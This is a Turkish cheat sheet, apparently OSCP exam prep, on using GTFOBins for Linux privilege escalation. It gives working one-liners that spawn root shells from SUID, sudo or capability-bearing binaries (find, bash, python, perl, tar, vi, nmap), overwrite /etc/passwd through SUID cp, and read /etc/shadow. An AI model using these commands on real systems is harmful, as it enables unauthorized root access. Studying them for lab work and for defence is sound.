FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE kolay

GTFOBins Metodolojisi (SUID / sudo / capabilities / limited-shell breakout)

GTFOBins'i bir referans katalog olarak nasıl kullanacağın: bir binary'yi (find, tar, vim, python...) SUID, sudo, capabilities veya kısıtlı kabuk (rbash) bağlamlarına göre sorgulayıp doğru breakout primitifini (Shell/Command/SUID/Sudo/Capabilities/File read-write) seçme metodolojisi ve OSCP'de en sık çıkan örnekler.

Bilgi: ÖN KOŞULLAR
  • Bir kullanıcı shell'i
  • İstismar edilecek binary'nin tespiti (SUID taraması, sudo -l çıktısı, getcap çıktısı veya kısıtlı kabuktaki izin verilen komutlar)
┌──

Komutlar

find ✓ EXAM-SAFE user
find / -perm -4000 -type f 2>/dev/null
SUID bit'i set edilmiş tüm binary'leri bul — her birini GTFOBins'te 'SUID' bölümünde ara. GTFOBins — SUID methodology; HackTricks — Linux Privilege Escalation (SUID)
getcap ✓ EXAM-SAFE user
getcap -r / 2>/dev/null
Dosya capability'lerini (cap_setuid+ep gibi) listele — capability taşıyan binary'leri GTFOBins'te 'Capabilities' bölümünde ara. GTFOBins — Capabilities methodology; HackTricks — Linux Capabilities
find ✓ EXAM-SAFE user
find . -exec /bin/sh -p \; -quit
SUID find breakout: -exec ile -p (privilege koru) shell, euid=0 kalır. SUID bağlamının kanonik örneği. GTFOBins: find (SUID)
bash ✓ EXAM-SAFE user
./bash -p
SUID bash breakout: -p effective UID'i düşürmez, doğrudan euid=0 shell. SUID bash en kolay zaferdir. GTFOBins: bash (SUID)
python3 ✓ EXAM-SAFE user
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
SUID python breakout: setuid(0) sonrası shell. SUID bağlamında setuid çağrısı şart (sudo bağlamında gereksiz). GTFOBins: python (SUID)
python3 ✓ EXAM-SAFE user
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' # via cap_setuid+ep
Capabilities breakout: binary cap_setuid+ep taşıyorsa setuid(0) başarılı olur ve root shell açılır. getcap ile tespit edilen binary'ler için. GTFOBins: python (Capabilities)
perl ✓ EXAM-SAFE user
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
cap_setuid+ep taşıyan perl ile root shell — capabilities bağlamının yaygın örneği. GTFOBins: perl (Capabilities)
tar ✓ EXAM-SAFE user
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar breakout (SUID/sudo/wildcard): --checkpoint-action ile komut çalıştırma. tar wildcard injection ile cron senaryolarında da kritik. GTFOBins: tar (Sudo/SUID)
less ✓ EXAM-SAFE user
less /etc/profile
Limited-shell / pager breakout: less içinden !/bin/sh veya v (vi'ye geç → :!sh) ile kabuk. man/more/pager üzerinden de aynı. GTFOBins: less (Shell)
vi ✓ EXAM-SAFE user
vi -c ':!/bin/sh' /dev/null
Editör breakout: :! ile komut çalıştır. rbash/kısıtlı kabukta izin verilen tek komut bir editörse kaçış yolu. GTFOBins: vi (Shell)
cp ✓ EXAM-SAFE user
LFILE=/etc/passwd; ./cp -f /tmp/evil_passwd "$LFILE"
SUID cp 'File write' primitifi: GTFOBins'in File-write fonksiyonu ile root-yazılabilir dosya üzerine yaz (örn. /etc/passwd'a hash'li root satırı). GTFOBins: cp (File write / SUID)
nmap ✓ EXAM-SAFE user
echo 'os.execute("/bin/sh")' > /tmp/x.nse; nmap --script=/tmp/x.nse
Eski nmap interaktif moduyla (--interactive) veya NSE script ile shell. SUID/sudo nmap için klasik OSCP breakout'u. GTFOBins: nmap (SUID/Sudo)

GTFOBins Nedir, Niye Bir Metodoloji?

GTFOBins (Get The F*** Out Binaries), Unix binary’lerinin meşru özelliklerini kötüye kullanarak güvenlik kısıtlamalarını aşmak için bir referans katalogtur. Tek tek exploit ezberlemek yerine, eline geçen herhangi bir ayrıcalıklı binary için “bu binary’yi nasıl bir kabuğa/komuta/dosya işlemine çevirebilirim?” sorusunu sistematik cevaplayan bir akış sunar. OSCP’de privesc’in belkemiğidir.

Önce Bağlamı Belirle (En Kritik Adım)

GTFOBins her binary’yi fonksiyon etiketlerine göre listeler. Hangi etikete bakacağın, binary’yi hangi bağlamda bulduğuna bağlıdır:

  • SUIDfind / -perm -4000 -type f 2>/dev/null ile bulduğun setuid-root binary. GTFOBins’te ilgili binary’nin SUID bölümüne bak.
  • Sudosudo -l çıktısında izin verilen binary. Sudo bölümüne bak.
  • Capabilitiesgetcap -r / 2>/dev/null çıktısında cap_setuid+ep gibi yetenek taşıyan binary. Capabilities bölümüne bak.
  • Limited shell / rbash → kısıtlı kabukta çalıştırabildiğin sınırlı komutlar (pager, editör, ping…). Shell veya Command bölümüne bak.
  • File read / File write → kabuk alamasan bile, ayrıcalıklı binary ile root-okunur/yazılır dosyalara erişip /etc/shadow oku ya da /etc/passwd’a satır ekle.

Önemli ayrım: SUID ve Capabilities bağlamlarında genellikle setuid(0) çağrısı şarttır (yoksa effective UID düşer veya kalıcı root olmaz), oysa Sudo bağlamında zaten root olarak çalıştığın için sadece bir alt-kabuk açman yeter. Aynı binary’nin sudo ve SUID satırları bu yüzden farklı görünür (örn. python: sudo’da düz os.system, SUID’de önce os.setuid(0)).

Breakout Primitifleri

GTFOBins satırları birkaç tekrar eden primitif etrafında döner:

  • Alt-kabuk açma: -exec /bin/sh (find), --checkpoint-action=exec (tar), :!sh (vim/vi), !sh (less/man).
  • Yorumlayıcı içinden komut: os.system() / os.execute() / system() (python/lua/awk/perl/ruby/php).
  • Dosya yazma: ayrıcalıklı cp/tee/dd/vim ile /etc/passwd veya /etc/sudoers üzerine yazma — kabuk açmaya gerek kalmadan root.
  • Dosya okuma: ayrıcalıklı cat/less/base64/xxd ile /etc/shadow, SSH anahtarı veya kök yapılandırma okuma.

Sık Çıkan Örnekler (OSCP)

SUID/sudo bağlamında neredeyse her zaman çalışan binary’ler: bash -p, find ... -exec, python -c, perl -e, vim/vi/nano, less/more/man, awk, tar, cp, nmap (eski sürüm), env, nice, socat. Bir SUID binary listede yoksa GTFOBins’te de yoksa, custom binary’dir → strings/ltrace ile relative PATH çağrısı (lnx-privesc-path) veya kütüphane enjeksiyonu (lnx-privesc-ldpreload) ara.

İş Akışı Özeti

  1. Binary’leri topla: SUID (find -perm -4000), sudo (sudo -l), caps (getcap -r /).
  2. Her binary için bağlamı seç ve GTFOBins’te o fonksiyon bölümünü aç.
  3. Doğru primitifi kopyala; SUID/caps’te setuid(0)/-p gerektiğini unutma.
  4. Kabuk alamıyorsan File-write (passwd/sudoers) veya File-read (shadow) primitifine düş.
  5. id ile root’u doğrula.

Tuzaklar

  • SUID bash’te -p koymazsan modern bash effective UID’i düşürür ve root kaybedilir.
  • os.setuid(0) izni reddedilirse binary muhtemelen capability’siz/SUID’siz — yanlış bağlamı denemişsindir.
  • Wildcard senaryolarında (cron + tar/rsync), GTFOBins primitifi argüman enjeksiyonuyla birleşir (bkz. lnx-privesc-wildcard).
  • Limited-shell kaçışından sonra PATH ve TTY genelde bozuktur; export PATH=/usr/bin:/bin ve pty upgrade yap (lnx-shell-upgrade).
┌──

Kaynaklar

0/15 set